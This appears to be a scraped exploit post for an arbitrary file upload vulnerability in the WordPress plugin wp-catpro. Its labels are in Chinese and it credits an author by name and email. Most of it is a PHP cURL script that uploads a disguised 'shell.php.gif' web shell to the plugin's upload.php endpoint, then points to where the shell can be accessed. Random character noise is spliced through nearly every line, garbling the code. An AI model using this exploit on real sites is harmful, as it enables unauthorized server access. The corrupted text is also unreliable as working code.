Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability# B( `; ?3 y) ?7 D/ E9 ]' Y
#-----------------------------------------------------------------------
9 B, _9 M+ i, V- {
5 _: B# W. R4 V9 }9 ]: S- U作者 => Zikou-16
- I0 g. B& Y z: U1 ], h+ [2 h邮箱 => zikou16x@gmail.com' J" X- ]4 n" c4 ]. p) Z$ ~
测试系统 : Windows 7 , Backtrack 5r31 n; m# G Y `
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip7 j5 I7 C5 H% P
####' v% K8 w. ?1 P* z
. w, ^# a. R- j( U3 @
#=> Exploit 信息:
9 k" K' t8 ^% _------------------
% m) V# r! }( L7 F) v7 a0 q# 攻击者可以上传 file/shell.php.gif+ g% S% B0 d" h
# ("jpg", "gif", "png") // Allowed file extensions L) ~0 c- `: h# D% R( I
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)# D" K0 t6 [! t% H4 g+ c& a
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
& l7 J* a2 q2 }& |- }- X; L------------------4 m+ C0 O! A. Q
) k+ D* P/ z: ]) K. R( w#=> Exploit
2 G6 `7 p/ N$ R3 S-----------7 e/ }/ Z7 L8 V/ M1 r4 n l1 e! }( `
<?php
7 H: Y, \7 l9 F3 V2 ~1 B8 O8 j # @- D b: W3 w* w
$uploadfile="zik.php.gif";
" w( Y9 t( |& ]7 |$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");; j- `# n' n7 u
curl_setopt($ch, CURLOPT_POST, true);
! p% d) B3 ]( J% Ecurl_setopt($ch, CURLOPT_POSTFIELDS,0 }9 L( S+ o' [# o+ `
array('Filedata'=>"@$uploadfile",! _8 x) _% h; Z* ^. v
'folder'=>'/wp-content/uploads/catpro/'));4 E" i0 f2 C" T% T. S2 O
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
% U$ S+ u8 l' i, v6 P$postResult = curl_exec($ch);. H6 p- g# B. h9 A1 P
curl_close($ch);3 Q7 R2 L8 G5 I1 E- N' @
( @7 l9 n( E" V: y* Q5 Fprint "$postResult";% l5 f$ S, j0 p6 w+ f
7 K, `/ w9 ]2 M# ~, t2 p& Q, }/ F
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif, F) b' [3 s7 X
?>
( C, _1 ]' ~2 L- r' ?1 P<?php
; f( C+ `" S( m) Y9 M' V3 d% ~phpinfo();& _/ a& V6 @6 ^$ @) X) E d
?> |